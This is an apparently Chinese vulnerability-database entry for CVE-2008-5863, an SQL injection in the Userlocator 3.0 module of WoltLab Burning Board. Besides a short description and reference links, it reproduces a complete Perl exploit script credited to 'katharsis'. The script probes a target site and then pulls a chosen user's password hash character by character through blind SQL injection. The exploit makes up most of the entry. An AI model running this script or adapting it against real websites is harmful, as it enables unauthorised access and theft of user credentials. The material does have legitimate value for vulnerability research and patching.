https://www.exploit-db.com/exploits/7530
https://cxsecurity.com/issue/WLB-2009010130
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200901-052
V-Gn Userlocator脚本locator.php参数y SQL注入漏洞






漏洞ID | 1117103 | 漏洞类型 | SQL注入 |
发布时间 | 2008-12-21 | 更新时间 | 2009-02-12 |
![]() |
CVE-2008-5863 | ![]() |
CNNVD-200901-052 |
漏洞平台 | PHP | CVSS评分 | 7.5 |
|漏洞来源
|漏洞详情
WoltLabBurningBoard是一款可自定义的论坛程序。WoltlabBurningBoard(wBB)Userlocator模块3.0版本中的locator.php存在SQL注入漏洞。远程攻击者可以借助get_user操作中的y参数,执行任意的SQL指令。
|漏洞EXP
#!/usr/bin/perl -w
use strict;
use LWP::Simple;
$| = 1;
p
print q {
:::::::::::::::::::::::::::::
:: Userlocator 3.0 Exploit ::
:: written by katharsis ::
:::::::::::::::::::::::::::::
[~] www.katharsis.x2.to
[~] nebelfrost23@web.de
};
if (@ARGV < 2) {
print "Usage: usrlocsploit.pl [url] [user id]\nExample: usrlocsploit.pl www.target.com 1\n";
exit;
}
my $page = shift;
my $uid = shift;
my $prefix;
my @charset = ('a','b','c','d','e','f','1','2','3','4','5','6','7','8','9','0');
print "[x] Vulnerability check...\n";
my $chreq = get("http://".$page."/locator.php?action=get_user&y='");
if (($chreq =~ m/Database error/i) || ($chreq =~ m/Invalid SQL/i)) {
print "[x] Seems to be vulnerable!\n";
} else {
print "[o] Seems to be patched, sorry\n";
exit;
}
print "[^] Prefix check...\n";
if ($chreq =~ m/(..._)wlw/i) {
print "[^] Success, using Prefix '$1'\n";
$prefix = $1;
} else {
print "[o] Can't find prefix, using 'bb1_'\n";
$prefix = "bb1";
}
print "[+] Getting hash...\n";
print "[+] Hash: ";
my $curnum = 1;
while($curnum < 32) {
my $false_result = get("http://".$page."/locator.php?action=get_user&x=233&y=365'/**/OR/**/ascii(substring((SELECT+password+FROM+".$prefix."users+WHERE+userid=".$uid."),".$curnum."))=-1/*");
foreach(@charset) {
my $ascode = ord($_);
my $result = get("http://".$page."/locator.php?action=get_user&x=233&y=365'/**/OR/**/ascii(substring((SELECT+password+FROM+".$prefix."users+WHERE+userid=".$uid."),".$curnum."))=".$ascode."/*");
if (length($result) != 0) {
if (length($result) != length($false_result)) {
print chr($ascode);
$curnum++;
}
}
}
}
print "\n[+] Done!\n";
# EOF
# milw0rm.com [2008-12-21]
|参考资料
来源:XF
名称:userlocator-wbb-locator-sql-injection(47887)
链接:http://xforce.iss.net/xforce/xfdb/47887
来源:BID
名称:32960
链接:http://www.securityfocus.com/bid/32960
来源:MILW0RM
名称:7530
链接:http://www.milw0rm.com/exploits/7530
来源:SREASON
名称:4874
链接:http://securityreason.com/securityalert/4874
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